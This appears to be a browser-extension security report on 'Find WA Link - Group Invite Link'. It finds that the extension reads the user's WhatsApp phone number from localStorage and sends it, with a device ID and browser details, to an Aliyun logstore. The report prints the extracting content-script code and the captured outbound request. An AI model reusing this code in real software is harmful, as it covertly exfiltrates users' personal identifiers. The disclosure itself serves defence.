Is Find WA Link - Group Invite Link safe?

High risk

Find WhatsApp Link reads your WhatsApp account number and sends it to Aliyun Logs.

On web.whatsapp.com, the extension reads WhatsApp account identifiers from localStorage, extracts the phone number, and sends it with browser and extension metadata to an Aliyun logstore. It also logs Google search targets, keywords, page counts, result counts, and scraped WhatsApp invite-link activity while the group-link scraping feature runs.

whatsapp-leadsv1.0.48Chrome Web Store
72Risk
Who publishes it

whatsapp-leads - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
whatsapp-leads
Website
waplus.io/c/WdcmPROG

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Find WA Link reads your WhatsApp phone number and sends it to Aliyun logs

When you open WhatsApp Web in an already-linked session, this extension reads your account phone number from the page's local storage and sends it, with a device ID and browser details, to the developer's Aliyun logging service.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You open web.whatsapp.com while already linked to your WhatsApp account.

The page's local storage still holds your account's WhatsApp identity key from the linked session.

The extension did this

The extension reads your account phone number from local storage and forwards it to the developer's logging server.

A background script attaches a device ID, install date, and browser details before sending it on.

The code that does this

Content script extracts the WhatsApp phone number and logs it

Readable version
if ("web.whatsapp.com" === window.location.host && !window.localStorage.getItem("open-whatsapp-flag")) {  try {    let identity, phoneNum = "";    window.localStorage.setItem("open-whatsapp-flag", "true");    if (window.localStorage.getItem("last-wid")) {      identity = window.localStorage.getItem("last-wid");      phoneNum = identity.split("@")[0].substring(1);    } else {      identity = window.localStorage.getItem("last-wid-md");      phoneNum = identity.split(":")[0].substring(1);    }    sendLog(100108, { phone_num: phoneNum });  } catch (e) {}}
Fields attached to the log record before it is sent
  • Your WhatsApp phone number
    15551234567 (illustrative)

    Parsed from the WhatsApp identity key stored in the page's local storage.

  • Device ID
    a1b2c3d4-5678-4abc-9def-1234567890ab (illustrative)

    A UUID generated once at install and stored in the extension's own storage.

  • Extension version
    1.0.48

    The installed version of the extension.

  • Browser and platform
    chrome, Win32

    Browser type, user agent string, and operating system platform.

  • Install time
    2026-01-14 09:32 UTC (illustrative)

    Timestamp of when the extension was first installed.

Captured request
POSThttps://extension-us.us-west-1.log.aliyuncs.com/logstores/scrm-wa-leads/track

Aliyun Log Service accepts the record without any visible confirmation to the user; no response body is needed for the send to succeed.

Body
{  "event_source": 1,  "event_type": 100108,  "event_time": 1768435200,  "phone_num": "15551234567 (illustrative)",  "uuid": "a1b2c3d4-5678-4abc-9def-1234567890ab (illustrative)",  "install_time": "1768000000 (illustrative)",  "version": "1.0.48",  "platform": "Win32",  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",  "browser_type": "chrome",  "language": "en-US"}
Where the number ends up
    • extension-us.us-west-1.log.aliyuncs.com

    Aliyun Log Service (Alibaba Cloud). Written to the developer's own 'scrm-wa-leads' logstore, alongside the extension's WhatsApp group-scraping activity.

Where it sends data

Destinations our analysis observed Find WA Link - Group Invite Link contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • extension-us.us-west-1.log.aliyuncs.comwidely used

    Find WA Link - Group Invite Link sends data to extension-us.us-west-1.log.aliyuncs.com. A widely used service: 27 other extensions we have analysed send data here.

Updated 30 September 2026lfepbhhhpfohfckldbjoohmplpebdmnd